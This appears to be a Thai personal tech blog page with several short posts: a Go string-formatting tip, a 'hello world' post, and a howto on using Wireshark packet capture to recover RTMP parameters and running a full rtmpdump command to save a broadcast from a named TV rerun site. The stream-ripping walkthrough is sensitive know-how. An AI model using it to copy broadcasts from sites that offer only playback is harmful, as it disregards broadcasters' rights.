
ช่วงนี้กำลังหัดเขียนภาษา Go รู้สึกถูกจริตกับภาษานี้มากเพราะมันให้บรรยากาศเหมือนเขียน C และภาษา script แต่ทำอะไรสมัยใหม่ได้โดยไม่ต้องพัฒนาอะไรเองเพิ่งมากนักแถมยังกิน resource น้อยและทำงานได้ดีอีกด้วย



โดยปรกติภาษาใหม่ๆหน่อยมันจะมีวิธี Concat variables กับ Strings ได้ง่ายๆแต่ของ golang จะใช้ Sprintf ช่วยตามตัวอย่างนี้


query := fmt.Sprintf("Uid=%s&fName=%s&lName=%s&searchType=null",ID,FN,LN)

rtmpdump howto

บางเว็บจะใช้เทคนิค flash ดึง vdo  จาก rtmp server ซึ่งจะไม่สามารถ download ได้ปรกติจะต้องใช้คำสั่ง rtmpdump ในการ download ซึ่งจะต้องใส่ option ให้ถูกต้องตามที่ flash ส่งข้อมูลเข้าไปที่ vdo server การหา option นั้นถ้าจะให้แม่นจริงๆจะต้องใช้ วิธี ดัก package ในทีนี้ใช้ WireShark ดัก

ในตัวอย่างนี้เป็นวิธี download vdo จาก rtmp server ของ tv.ohozaa.com ซึ่ง IP ของ rtmp server คือ 103.22.182.59 ใช้ wireshark จับขาแลนไว้ หาคำว่า rtmp จะเจอพวก handshack หรืออื่นๆ กดขวาแล้วเลือก Follow TCP Stream จากนั้นหา rtmp เหมือนเดิมลองไล่หาไปล่างๆ จะเจอ rtmp://103.22.182.59/vod/..fpad..... (ต้องเจอคำว่า fpad ก่อน) ส่วนนี้จะเป็นโปรแกรมนะครับ
จากนั้นก็ต้องหาชื่อ ก็ไล่หาต่อไปมันจะอยู่ต่อคำว่า play เจอแล้ววววว
result.@.........?.............-........play.............mp4:ch3/11-13-2014/20.mp4.......


เมื่อได้ข้อมูลมาครบแล้วก็ เริ่ม Download กันเลยโดยใช้คำสั่งดังนี้

$ rtmpdump -r rtmp://103.22.182.59/vod -s http://tv.ohozaa.com/iswf/ex0743728/playerx_0765817.swf?kk.m=336e96-t rtmp://103.22.182.59/vod/ -p http://tv.ohozaa.com/hourly-rerun/3/2014-11-13/20/ -y mp4:ch3/11-13-2014/20.mp4 -o file.flv

func main {

fmt.Println("Hello World")



สวัสดีชาวโลก ปรกติผมไม่ค่อยชอบเขียน blog เท่าไรส่วนมากที่เขียน online ไว้จะเป็นพวกบันทึกช่วยจำหรือบทความเชิงเทคนิคอะไรแนวๆนี้ซะมากกว่าแต่รู้สึกว่ามันกระจัดกระจายเกินไปเลยตัดสินใจทำ blog ไปเลยดีกว่า
 }